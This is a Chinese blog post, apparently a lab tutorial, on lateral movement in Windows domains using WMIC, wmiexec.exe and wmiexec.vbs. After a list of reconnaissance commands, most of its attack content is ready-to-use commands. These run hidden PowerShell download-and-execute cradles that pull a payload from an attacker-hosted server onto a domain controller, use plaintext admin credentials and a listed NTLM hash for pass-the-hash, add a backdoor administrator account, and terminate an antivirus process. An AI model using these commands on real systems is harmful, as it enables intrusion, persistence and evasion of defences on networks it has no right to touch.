news 2026/6/12 17:27:33

内网渗透-横向移动-WMIC远程执行命令横向移动

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
内网渗透-横向移动-WMIC远程执行命令横向移动

什么是WMI

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是黑客们渐渐开始使用 WMI 进行横向移动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击。

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具) ,提供了从命令行接口和批处理脚本执行系统管理的支持。

简单来说:wmic就是wmic.exe,位于windows目录底下,是一个命令行程序。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),WMI就是 WindowsManagement Instrumentation(Windows 管理规范)。它是 Windows 中的一个核心管理技术。

WMIC常见命令

wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmi,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限,普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行。

wmic logon list brief登录⽤户

wmic ntdomain list brief域控机器

wmic useraccount list brief⽤户列表

wmic share get name,path查看系统共享

wmic service list brief |more服务列表

wmic startup list full识别开机启动的程序,包括路径

wmic fsdir "c:\\test" call delete删除C盘下的test目录

wmic nteventlog get path,filename,writeable查看系统中开启的⽇志

wmic nicconfig get ipaddress,macaddress查看系统中⽹卡的IP地址和MAC地址

wmic qfe get description,installedOn使⽤wmic识别安装到系统中的补丁情况

wmic product get name,version查看系统中安装的软件以及版本,2008R2上执行后无反应。

wmic useraccount where "name='%UserName%'" call rename newUserName更改当前用户名

wmic useraccount where "name='Administrator'" call Rename admin更改指定用户名

wmic bios list full | findstr /i "vmware"查看当前系统是否是VMWARE,可以按照实际情况进行筛选

wmic desktop get screensaversecure,screensavertimeout查看当前系统是否有屏保保护,延迟是多少

wmic process where name="vmtoolsd.exe" get executablepath获取指定进程可执行文件的路径

wmic environment where "name='temp'" get UserName,VariableValue获取temp环境变量

查询当前主机的杀毒软件

wmic process where "name like '%forti%'" get name

wmic process where name="FortiTray.exe" call terminate

wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe

wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe

wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

查询windows机器版本和服务位数和.net版本

wmic os get caption

wmic os get osarchitecture

wmic OS get Caption,CSDVersion,OSArchitecture,Version

wmic product where "Name like 'Microsoft .Net%'" get Name, Version

查询本机所有盘符

wmic logicaldisk list brief

wmic logicaldisk get description,name,size,freespace /value

卸载和重新安装程序

wmic product where "name like '%Office%'" get name

wmic product where name="Office" call uninstall

查看某个进程的详细信息(路径,命令⾏参数等)

wmic process where name="chrome.exe" list full

wmic process where name="frp.exe" get executablepath,name,ProcessId进程路径

wmic process where caption="frp.exe" get caption,commandline /value

更改PATH环境变量值,新增c:\whoami

wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami

查看某个进程的详细信息-PID

wmic process list brief

tasklist /SVC | findstr frp.exe

wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate

终⽌⼀个进程

wmic process where name ="xshell.exe" call terminate

ntsd -c q -p进程的PID

taskkill -im pid

获取电脑产品编号和型号信息

wmic baseboard get Product,SerialNumber

wmic bios get serialnumber

安装软件

wmic product get name,version

wmic product list brief

使用环境介绍

192.168.113.152域控administrator

192.168.113.205域内用户jack

192.168.113.208域内用户krbuser

常见错误

1.开启防火墙时,允许共享例外

错误:

代码= 0x800706ba

说明= RPC服务器不可用。

设备= Win32

2.组策略阻止administraotr远程访问时

错误:

代码= 0x80070005

说明=拒绝访问。

设备= Win32

3.IP安全策略阻止135

错误:

代码= 0x800706ba

说明= RPC服务器不可用。

设备= Win32

4.禁用winmgmt服务时

错误:

代码= 0x80070422

说明=无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。

设备= Win32

5.拒绝wbem目录权限,无法使用wmic

wmic调用cmd(重点)

以下命令需要管理员权限

执行命令并且输出

wmic /node:IP地址/user:本地用户管理员/域管理员/password:密码process call create "cmd.exe /c ipconfig >c:\ip.txt"

wmic /node:192.168.113.152 /user:test\administrator /password:qax@123 process call create "cmd.exe /c ipconfig >c:\ip.txt"

列出远程主机进程

wmic /node:IP地址/user:本地用户管理员/域管理员/password:密码process list brief

在远程系统上执行bat脚本

wmic /node:IP地址/user:本地用户管理员/域管理员/password:密码process call create c:\programdata\test.bat

wmic /node:IP地址/user:本地用户管理员/域管理员/password:密码process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

执行powershell上线(重点)

wmic /NODE:IP /user:本地用户管理员/域管理员/password:密码PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('ps脚本地址'))\""

---àps脚本我放在了小皮的根目录下面

wmic /NODE:192.168.113.152 /user:test\administrator /password:qax@123 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.43.245/payload_x86.ps1'))\""

成功让其上线

Wmiexec工具

wmiexec是一个即有全交互也有半交互的远程命令执行工具,有python版本的pe版本可运用于多种环境,包括webshell环境、rdp环境、socks环境等

下载地址:

https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe

通过cs上传到jack目录下

wmiexec.exe域名/用户名:密码@目标IP#哈希传递获得shell

wmiexec.exe域名/用户名:密码@目标IP"ipconfig"#执行命令

wmiexec.exe -hashes LM Hash:NT Hash域名/用户名@目标IP#哈希传递获得shell

wmiexec.exe -hashes LM Hash:NT Hash域名/用户名@目标IP "ipconfig"#执行命令

wmiexec.exe test/administrator:qax@123@192.168.113.152 "whoami"

利用powershell上线

1、使用账号密码登录进行powershell上线

使用刚刚放在小皮上面的payload

wmiexec.exe test/administrator:qax@123@192.168.113.152"powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.43.245/payload_x86.ps1'))\""

上线第二个域控shell

2、使用hash上线

我这里就直接快速获得了:

aad3b435b51404eeaad3b435b51404ee:c8e710f9876360e5f96dc23cca029d49

wmiexec.exe -hashes LM Hash:NT Hash域名/用户名@目标IP "命令"#哈希传递命令

--->

wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:c8e710f9876360e5f96dc23cca029d49 test/administrator@192.168.113.152 "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.43.245/payload_x86.ps1'))\""

上线第三个域控shell

wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式

cscript.exe //nologo wmiexec.vbs /cmd IP用户密码"命令"

先上传

使用powershell上线

cscript.exe //nologo wmiexec.vbs /cmd IP用户密码"命令"

----》

shell cscript.exe //nologo wmiexec.vbs /cmd 192.168.113.152 test\administrator qax@123 "powershell.exe -nop -w hidden -ExecutionPolicy Bypass -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.43.245/payload_x86.ps1'))"""

#用转义双引号包裹内层命令

上线第四个域控shell

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/12 17:26:55

碧蓝航线Alas自动化脚本:7步快速上手指南

碧蓝航线Alas自动化脚本&#xff1a;7步快速上手指南 【免费下载链接】AzurLaneAutoScript Azur Lane bot (CN/EN/JP/TW) 碧蓝航线脚本 | 无缝委托科研&#xff0c;全自动大世界 项目地址: https://gitcode.com/gh_mirrors/az/AzurLaneAutoScript 还在为碧蓝航线中重复的…

作者头像 李华
网站建设 2026/6/12 17:22:50

Bayesian错误处理最佳实践:从边缘案例到生产环境部署的完整指南

Bayesian错误处理最佳实践&#xff1a;从边缘案例到生产环境部署的完整指南 【免费下载链接】bayesian Naive Bayesian Classification for Golang. 项目地址: https://gitcode.com/gh_mirrors/ba/bayesian 在Go语言中实现朴素贝叶斯分类器时&#xff0c;错误处理是确保…

作者头像 李华
网站建设 2026/6/12 17:21:53

LangChain对话记忆设计:全量/会话/摘要三种模式实战指南

1. 项目概述&#xff1a;让AI助手真正“记住”你&#xff0c;而不是每次对话都从零开始你有没有试过和某个AI助手聊了十几轮&#xff0c;聊到一半它突然问&#xff1a;“我们之前聊过什么&#xff1f;”或者你刚说过“我叫张伟”&#xff0c;下一句它又问&#xff1a;“请问您怎…

作者头像 李华